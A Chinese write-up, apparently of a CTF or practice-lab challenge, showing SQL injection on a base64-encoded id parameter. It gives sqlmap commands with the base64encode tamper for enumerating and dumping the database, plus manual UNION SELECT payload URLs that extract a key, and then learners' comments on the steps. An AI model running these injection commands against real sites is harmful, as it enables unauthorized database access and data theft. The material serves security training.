两种解法

一、利用sqlmap及其tamper模块base64encode使用
1. 看到id后面的参数可能是base64加密后的结果,我们尝试解密,解密结果为1
2.查看当前的系统信息
sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tamper=base64encode
3.暴库
sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tamper=base64encode --level=3 --current-db
4.爆表
sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tables -D test
5.获取key
sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" -T data --dump
二、盲注
首先可以看到该URL中存在一个参数“MQ==”,从参数的格式来看是通过了base64进行了加密,那么我们可以对其进行base64解密
发现解密之后的参数为1,这种类型的注入除了和我们以前的普通注入相比只是多了一个“base64”加密的过程,下面进行手工注入演示:
1、判断是否可以注入:
单引号测试
and 测试
由上判断可以得知存在SQL注入
2、猜解字段长度
order by 2
order by 3
可以猜到字段长度为2
3、爆数据库名、数据库版本信息
4、爆表名
http://219.153.49.228:48204/show.php?id=-1 union select TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA=0x74657374 limit 0,1--
5、爆字段名
http://219.153.49.228:48204/show.php?id=-1 union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=0x64617461 limit 3,1
6、爆字段值
http://219.153.49.228:48204/show.php?id=-1 union select thekey,2 from test.data limit 0,1--

韩国 1F
base64加密的参数怎么解密啊?
台湾省新北市 B1
@ 无界魂 直接用Python的base64.b64decode()就行,一行代码
北京市 2F
盲注那部分看得有点懵
印度尼西亚 B1
@ 小林音 手工注入步骤里order by 3会报错么,怎么判断字段长度是2
日本 3F
之前也遇到过base64编码的注入点,折腾半天
河南省洛阳市 B1
@ 碧纱笼月 base64编码的参数解密后是1,这种注入点确实不好找
湖北省武汉市武昌区 4F
这样注入会不会被WAF拦截啊?
天津市 B1
@ 宇宙之光 这玩意儿真能绕过WAF?实测过吗?
河南省郑州市 5F
CTF那张图还挺有感觉的
日本 6F
字段长度判断那块能再详细点吗
广东省佛山市顺德区 7F
手工注入步骤写得太简略了
福建省福州市 8F
用sqlmap爆库确实快,手工太费时间
上海市 B1
@ 高冷的雪豹 tamper模块还能这么用,以前只知道用sqlmap直接跑
河南省周口市 9F
union select后面那个2是啥意思
湖北省武汉市 B1
@ RiftWarden 随便填个数占位,只要不报错就行
日本 10F
test数据库里就一个表吗?
辽宁省沈阳市 11F
这种实战步骤挺全的,适合新手照着复现
北京市 12F
union select后面的2是不是随便填个数字就行
韩国 13F
盲注没写payload啊,具体怎么猜解数据库名?
江西省南昌市 14F
图上的CTF旗帜挺带感的,玩过几次ctf,sql注入题确实多
山东省青岛市 B1
@ 幽兰秘法师 CTF氛围拉满了,想起被sql注入支配的日子😂
韩国 15F
sqlmap爆表那个-D test,test是库名吧
浙江省杭州市 B1
@ Didi 对,-D后面跟的就是库名,test是目标库
山东省济南市 16F
手工注入太麻烦了,有现成工具为啥要手注😂
江西省 17F
sqlmap这个tamper参数真方便👍
湖南省长沙市 B1
@ 深空幽灵 原来tamper还能这么用,省得自己写脚本了
越南 18F
手工注得太抽象了,payload都不给全
上海市 B1
@ 暗界游侠 payload不全确实挺耽误事的,得自己试
澳大利亚 19F
sqlmap是方便,但理解原理更重要
浙江省杭州市 20F
那个order by 2是怎么试出来的?
台湾省 B1
@ 幽兰空谷 order by 2就是试字段数,加到报错为止
湖北省武汉市 21F
base64解密直接用在线工具就行
河南省开封市 22F
CTF比赛里这种题算基础款了
贵州省黔东南州凯里市 23F
我之前试过类似,结果被日志抓了
台湾省台中市 24F
盲注猜字段名得跑脚本吧,手动太累
浙江省嘉兴市 25F
tamper模块还能这么用,学到了
河南省信阳市 26F
手工注入那部分能跑通吗,感觉有点跳跃啊
泰国 27F
test库名是默认的?
巴基斯坦 28F
盲注那个猜解字段时间成本太高了吧
陕西省铜川市 29F
union select后面跟数字是占位用的吧?
贵州省毕节市 30F
这教程适合有点基础的,纯新手可能跟不上
贵州省贵阳市 31F
sqlmap一把梭哈确实快,但比赛可能不让用
山东省 32F
手工注入步骤确实跳得太多了,payload都省略了
澳大利亚 33F
盲注猜数据库名具体用啥函数啊?
台湾省花莲县 34F
sqlmap确实省事,但比赛练手还得手工
吉林省松原市 35F
CTF图挺有那味儿的,想起了打比赛的日子
日本 36F
那个union select后面的数字是占位符吧?
新疆乌鲁木齐市 37F
base64解密用burp就能直接解
河南省南阳市 B1
@ 辐射信徒 burp里选中参数右键decode就有,不用额外装插件
日本 38F
手工注入太折腾了,有工具不用是跟自己过不去😂
广东省东莞市 39F
盲注部分能再详细点就好了
江苏省扬州市 40F
test库是默认数据库吗?
上海市 41F
这种实战教程多来点,比纯理论有用
蒙古 42F
手工注那步union select后面跟2是凑列数,不然会报错
浙江省 43F
sqlmap跑得快但比赛不让用,练手还是得手注
湖南省郴州市 44F
之前搞过类似题,base64编码后注入点藏得挺深
浙江省绍兴市 45F
这图一出来DNA动了,想起通宵打CTF的日子😭